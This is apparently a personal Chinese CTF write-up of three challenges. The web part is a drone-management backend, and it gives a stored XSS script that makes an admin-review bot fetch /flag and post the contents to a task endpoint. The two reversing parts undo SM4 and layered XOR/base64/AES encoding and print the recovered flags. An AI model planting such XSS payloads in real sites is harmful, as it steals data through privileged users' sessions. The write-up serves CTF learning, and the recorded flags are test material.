上午体测ORZ,下午打了打,团队最后名次83,以下为个人wp
WEB02
某安全测试人员接到了一项重要任务:对一套无人机系统的后台进行安全测试。这套系统负责管理无人机的飞行、数据传输和任务调度,请您测试该后台是否安全。
提交的flag格式:wdflag{xxxxx}
可以直接登录
访问/flag
路由没有权限
发现有更新任务和提交两个功能,xss
提交后boss会审核任务清单,看来是bot
思路利用js脚本让bot访问/flag
然后拿flag对/content/3bfe73cb352576d0fc01d009150950cf
目录进行更新任务
<script>
fetch('/flag', {
method: 'GET',
headers: {
'Content-Type': 'application/json',
}
}).then(response => response.text()).then(flagData => {
fetch('/content/3bfe73cb352576d0fc01d009150950cf', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: "content="+flagData
});
})
</script>
REVERSE01
小明给出了一个程序包,作为逆向工程师的你,能否对其进行逆向分析,找出小明藏在其中的秘密?
提交的flag格式:wdflag{xxxxx}
领航杯原题
jeb找到主逻辑
加载动态库
enc判断
enc
发现sm4特征0xA3B1BAC6
key被替换
直接解
wdflag{7314c25f-7097-483e-b745-fe96bb6a0b24}
REVERSE02
从前,有一个秘密组织,他们的最高机密被存放在一段字符串中。为了保护这段字符串,组织设计了“四大护法”,每一位护法都掌握着一种魔法。只有通过“四大护法”的重重考验,才能解开这段字符串的秘密。你会如何通过这“四大护法”的考验,解开这段字符串的秘密?
提交的flag格式:wdflag{xxxxx}
长度40
flag1每字节*2
flag2异或
flag3base64换表
flag4aes加密
exp:
import base64
from Crypto.Cipher import AES
import binascii
enc1=[112,204,98,202,0x60,0x6e,0x6c,0x6c]
flag="wdflag{"
for i in enc1:
flag+=chr(i//2)
enc2=[0x69,0x56,0x45,0x17,0x7d,0xd,0x11,0x52]
key1="XorrLord"
for i in range(len(enc2)):
flag+=chr(ord(key1[i])^enc2[i])
enc3="QFC5QFOyBjS="
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
table2='CDEFGHIJKLMNOPQRSTUVWXYZABabcdefghijklmnopqrstuvwxyz0123456789+/'
flag+=base64.b64decode(enc3.translate(str.maketrans(table2,table))).decode()
enc4= b"fbd9b3abd988e60b937c95eb94db0b54"
key2 = b"AesMasterAesMast"
aes = AES.new(key2, AES.MODE_ECB)
en_text = binascii.unhexlify(enc4)
den_text = aes.decrypt(en_text)
flag += den_text[:-den_text[-1]].decode()
flag +="}"
print(flag)
wdflag{8f1e0766197e1bc6809832f4d346fe66}